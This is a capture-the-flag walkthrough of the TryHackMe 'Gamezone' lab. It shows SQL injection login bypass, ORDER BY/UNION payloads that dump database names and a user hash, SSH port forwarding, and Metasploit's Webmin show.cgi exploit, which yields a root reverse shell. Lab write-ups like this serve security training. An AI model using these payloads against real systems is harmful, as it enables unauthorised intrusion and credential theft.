Overview

Today I’ll be bringing you a guide for the Try Hack Me room, Gamezone . This is an invaluable room for anyone looking to familiarize themselves with OSCP level concepts as the first stage leverages an ORDER BY/UNION SQL injection. During this walkthrough we’re going to manually exploit the injection, instead of relying on SQLMap to do it for us, in order to get a password. From there we use SSH Port Forwarding to gain access to a Webmin service that’s locked down, before we use metasploit to compromise that. This was a really fun room so, let’s go!


NMAP Scan

As is standard, we start off our process with an nmap scan to determine what ports we can listen on:

# Nmap 7.80 scan initiated Sun Apr 26 04:38:10 2020 as: nmap -Pn -sC -sV -oA initial -v 10.10.250.216
Nmap scan report for 10.10.250.216
Host is up (0.032s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
|   256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
|_  256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Game Zone
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 26 04:38:24 2020 -- 1 IP address (1 host up) scanned in 14.22 seconds

User Pwn

As we can see, there’s 2 ports Open:

  • SSH (7.2p2)
  • Apache (2.4.18)

The main site on port 80 has no associated CMS - it looks bloody old. There’s a login form on the left side thats exploitable via cassic SQL injection, a la admin' OR 1=1 -- -

This simple injection allows us to bypass the main login, however once we get to the “admin panel” there’s another SQL injectable form in the guise of a search field - passing this to burpsuite, we can start to enumerate number of columns in the table that’s being queried by default; we do this by using  ORDER BY  and we continue to increment its value until we get an error. The following query was the last I submit before I recieved an error indicating that, in this case, the target table has 3 colums:

searchitem=test' ORDER BY 3-- -

Now we have this information we can then use union to confirm we can inject information onto the page:

searchitem=test' UNION SELECT 1,2,3-- -

This produces “1,2,3” on the page and we can hijack one of these and replace it with a nested SQL statement or, to test, a string:

searchitem=test' UNION SELECT 1,"5ysk3y",3-- -

This renders the word 5ysk3y on the page in place of the second colmn - if we replace that second value with a mySQL function instead, like user(), we get root@localhost printed on the page. So we can now start to enumerate stuff as we can get the page to output it.

As the room asks us to use SQLMap, I’ll set that off while I manually exploit this in tandem. The SQLMap command I used is:

sqlmap -r $(pwd)/search.req --technique=U --batch

N.B. As we know its UNION injectable, specifying U as the technique allows us to target that specifically.

To manually exploit this we can reference the INFORMATION SCHEMA database in MySQL - this contains stuff that MySQL itself uses to keep things in order, e.g. other database names as well as tonnes of related data - the SCHEMATA table specifically contains the names of databases MySQL knows about. The following query would extract those:

searchitem=test' UNION SELECT 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3-- -

As mentioned, to run another query as part of the union it needs to be (nested) and, in order to view everything that matches our query (as there’s more than one value returned in the output) we wrap the target table in the group_concat() function. This gets us the following output on the page in place of the second column:

information_schema, db, mysql, performance_schema, sys

The schema/sys/mysql databases belong to MySQL, the db database seems like it will contain data we may want.

This is a particularly good reference for finding out what tables within INFORMATION_SCHEMA you can query to get information about other DB’s to use for further queries/enumeration.

As we now have a database to target we can query the names of the tables within that database:

searchitem=test' UNION SELECT 1,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'db'),3-- -

Which gives us the name of the two tables inside this database:

Posts, Users

From there we can start to enumerate the columns within those tables. In this case, I focused on the user table as it’s the most interesting:

searchitem=test' UNION SELECT 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'),3-- -

This shows the following columns:

username, pwd, USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

Which means we can now do some more useful queries, such as:

searchitem=test' UNION SELECT 1,(select username from db.users),3-- -

Which gets us a username:

agent47

And we can also query the password as well:

searchitem=test' UNION SELECT 1,(select pwd from db.users),3-- -

Which gets us a hash (this is an incomplete version; you’ll need to grab it yourself):

ab5db915fc9cea6c78df88106c6500-[truncated]

We could have also got this via SQLMap by including --dump in our earlier command, but that’s less fun. Also, SQLMap did confirm our original suspicions that this was UNION injectable:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: searchitem (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: searchitem=test' UNION ALL SELECT NULL,NULL,CONCAT(0x71787a7171,0x654a55516342637965547842506b644e7a43565354614c63756f4368676e70434165736969574c4a,0x7162716a71)-- -

Before moving on we must crack that hash to get our user password. I used John for this, although online tools exist to allow you to reverse it that way if you don’t have the facility to crack stuff. Due to THM guide rules, I’m not able to include this but, that said, aquiring it isn’t all that difficult once you have the hash.

Success! We get a password. Using the login combination of agent47:<REDACTED> we can now SSH into the machine and get our user flag.


Root Pwn

Once on the box, we would traditionally enumerate but this is a guided experience so lets stick with the beaten path; running ss to get a list of listening ports on the box, we see one that stands out due to its number as well as the fact that it didn’t appear on our nmap scan:

agent47@gamezone:~$ ss -tulpn
Netid State      Recv-Q Send-Q           Local Address:Port                  Peer Address:Port
udp   UNCONN     0      0                *:10000                             *:*
udp   UNCONN     0      0                *:68                                *:*
tcp   LISTEN     0      8                127.0.0.1:3306                      *:*
tcp   LISTEN     0      128              *:10000                             *:*
tcp   LISTEN     0      128              *:22                                *:*
tcp   LISTEN     0      128              :::80                               :::*
tcp   LISTEN     0      128              :::22                               :::*

And this is a table to outline what the arguments denote:

Port 22, 80 and 3306 we can rule out as we know what they are - port 10000, on the other hand, is a little unconventional.

It doesn’t show up on a full port scan so we can assume the firewall is blocking us. We can’t quite confirm just yet but it seems likely:

agent47@gamezone:~$ cat /etc/iptables/rules.v4
cat: /etc/iptables/rules.v4: Permission denied

In order to look into this service, we need to use a local tunnel via SSH to forward the port from the remote box, back to us, so that it’s accessible. In order to do this we can run the following command:

# ssh -L 10000:127.0.0.1:10000 -f -N agent47@10.10.148.87
agent47@10.10.148.87's password:

The -f flag tells the connection to run in the background, and the -N flag is required with that to tell SSH that no command execution is required (as it is typically expected).

Initially, to confirm what the port is for, I ran nmap against it:

 # nmap -sC -sV -p 10000 -Pn 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 06:33 BST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).

PORT      STATE SERVICE VERSION
10000/tcp open  http    MiniServ 1.580 (Webmin httpd)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: MiniServ/1.580
|_http-title: Login to Webmin

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.86 seconds

And visiting it in a browser confirms that its a web accessible console named webmin - taking a wild guess via our SSH access to the box (since locate didn’t find anything) I tried /etc/webmin and found most of the files for that service. The majority were unreadable and owned by root but one of them, a file named version was not:

agent47@gamezone:/etc/webmin$ cat version
1.580

If we run this through exploit DB, we will see that there’s a metasploit module available to exploit this specific version of webmin:

Webmin 1.580 - ‘/file/show.cgi’ Remote Command Execution (Metasploit)

If we load that up we can see that it’s sending encoded payloads via an authenticated session. This leverages a vulnerability in the services show.cgi component allowing an attacker to run commands with root privilages. We first need credentials though - I initialy tried hydra against the form but got myself banned rather quickly, then I stopped being stupid and tried our existing creds for Agent47 and they do work.

The correct metasploit module is exploit/unix/webapp/webmin_show_cgi_exec

If we send the module through our burp proxy by running:

set PROXIES http:127.0.0.1:8080

We can follow the chain of events for the most part - its a little more complicated as the payload, in this case, is another metasploit module thats encoded and uploaded via the FileManager functionality in Webmin. Effectively it uploads a file and then executes that via sh - the default payload is cmd/unix/reverse_perl and this basically consists of a Perl command that will intiiate a reverse shell. This gets dumped into a file thats named using a random set of characters/numbers and then called in the following manner:

GET /file/show.cgi/bin/UP8Qmwh|sh -c
Host: 127.0.0.1:10000
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: sid=e6b8f4f5ff9b17ac77529c6e91c88667
Content-Type: application/x-www-form-urlencoded
Connection: close

Assuming the file exists and the payload is correct, it’ll get executed. I may see if I can supply a manual payload at a later date, for now though Metasploit is the easiest way to handle this.

This gets you a shell, though, and as the root user non-the-less. From there you can proceed to get the flag.


Final Thoughts

All in all, this is a guided room so the difficulty curve will only go so far. In this case, we tried to take it a step further by manual exlpoitation of SQL. Wherever possible, and in line with expectations for the OSCP, I try and refrain from using SQLMap and Metasploit as much as possible. They are one-time/limited use tools in the OSCP exam so becoming reliant on them instead of your own knowledge isn’t going to be favorable in the long term. Hopefully this better explains exactly how this is done, as well as detailing how SQLMap itself handle this. In the last stage, manual exploitation wasn’t something I dug into due to time but this URL is referenced within the Metasploit module and outlines, in more detail, how that works.

None-the-less, this is a great learning experience for anyone that hasn’t manually exploited SQLi to this degree before. I hope you enjoyed the read.